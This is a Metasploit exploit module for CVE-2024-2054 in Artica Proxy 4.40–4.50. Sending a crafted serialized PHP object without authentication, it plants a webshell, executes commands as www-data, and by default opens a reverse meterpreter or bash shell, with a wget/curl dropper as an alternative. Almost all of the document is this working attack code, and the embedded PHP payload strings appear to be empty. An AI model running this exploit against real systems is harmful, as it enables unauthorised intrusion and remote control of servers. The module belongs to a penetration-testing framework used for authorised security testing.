## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Artica Proxy Unauthenticated PHP Deserialization Vulnerability', 'Description' => %q{ A Command Injection vulnerability in Artica Proxy appliance version 4.50 and 4.40 allows remote attackers to run arbitrary commands via unauthenticated HTTP request. The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the "www-data" user. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die-gr3y ', # MSF module contributor 'Jaggar Henry of KoreLogic Inc.' # Discovery of the vulnerability ], 'References' => [ ['CVE', '2024-2054'], ['URL', 'https://attackerkb.com/topics/q1JUcEJjXZ/cve-2024-2054'], ['PACKETSTORM', '177482'] ], 'DisclosureDate' => '2024-03-05', 'Platform' => ['php', 'unix', 'linux'], 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86], 'Privileged' => false, 'Targets' => [ [ 'PHP', { 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Type' => :php, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => ['linux'], 'Arch' => [ARCH_X64, ARCH_X86], 'Type' => :linux_dropper, 'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'], 'Linemax' => 16384, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 9000 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [ true, 'The Artica Proxy endpoint URL', '/' ]), OptString.new('WEBSHELL', [false, 'Set webshell name without extension. Name will be randomly generated if left unset.', nil]), OptEnum.new('COMMAND', [true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0]) ]) end def execute_php(cmd, _opts = {}) payload = Base64.strict_encode64(cmd) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wizard', @webshell_name), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { @post_param => payload } }) end def execute_command(cmd, _opts = {}) payload = Base64.strict_encode64(cmd) php_cmd_function = datastore['COMMAND'] send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wizard', @webshell_name), 'ctype' => 'application/x-www-form-urlencoded', 'vars_get' => { @get_param => php_cmd_function }, 'vars_post' => { @post_param => payload } }) end def upload_webshell # randomize file name if option WEBSHELL is not set @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : "#{datastore['WEBSHELL']}.php") @webshell_full_path = "/usr/share/artica-postfix/wizard/#{@webshell_name}" @post_param = Rex::Text.rand_text_alphanumeric(1..8) @get_param = Rex::Text.rand_text_alphanumeric(1..8) # Upload webshell with PHP payload if target['Type'] == :php php_payload = "" else php_payload = "" end php_payload_len = php_payload.length webshell_full_path_len = @webshell_full_path.length final_payload = "O:19:\"Net_DNS2_Cache_File\":4:{s:10:\"cache_file\";s:#{webshell_full_path_len}:\"#{@webshell_full_path}\";s:16:\"cache_serializer\";s:4:\"json\";s:10:\"cache_size\";i:9999999999;s:10:\"cache_data\";a:1:{s:#{php_payload_len}:\"#{php_payload}\";a:2:{s:10:\"cache_date\";i:0;s:3:\"ttl\";i:9999999999;}}}" final_payload_b64 = Base64.strict_encode64(final_payload) return send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'wizard', 'wiz.wizard.progress.php'), 'ctype' => 'application/x-www-form-urlencoded', 'vars_get' => { 'build-js' => final_payload_b64 } }) end def check print_status("Checking if #{peer} can be exploited.") res = send_request_cgi!({ 'method' => 'GET', 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path) }) return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200 # Check if target is an Artica Proxy appliance # Search for the Artica Version tag on the login page html = res.get_html_document unless html.blank? version_match = html.text.match(/Artica.{1,2}\d\.\d\d/) return CheckCode::Unknown('No Artica version found.') if version_match.nil? version = version_match[0].split(' ') if version.count > 1 && Rex::Version.new(version[1]) <= Rex::Version.new('4.50') && Rex::Version.new(version[1]) >= Rex::Version.new('4.40') return CheckCode::Vulnerable("Artica version: #{version[1]}") else return CheckCode::Safe("Artica version: #{version[1]}") end end CheckCode::Unknown end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") res = upload_webshell fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 500 register_file_for_cleanup(@webshell_full_path) case target['Type'] when :php execute_php(payload.encoded) when :unix_cmd execute_command(payload.encoded) when :linux_dropper # Don't check the response here since the server won't respond # if the payload is successfully executed. execute_cmdstager({ linemax: target.opts['Linemax'] }) end end end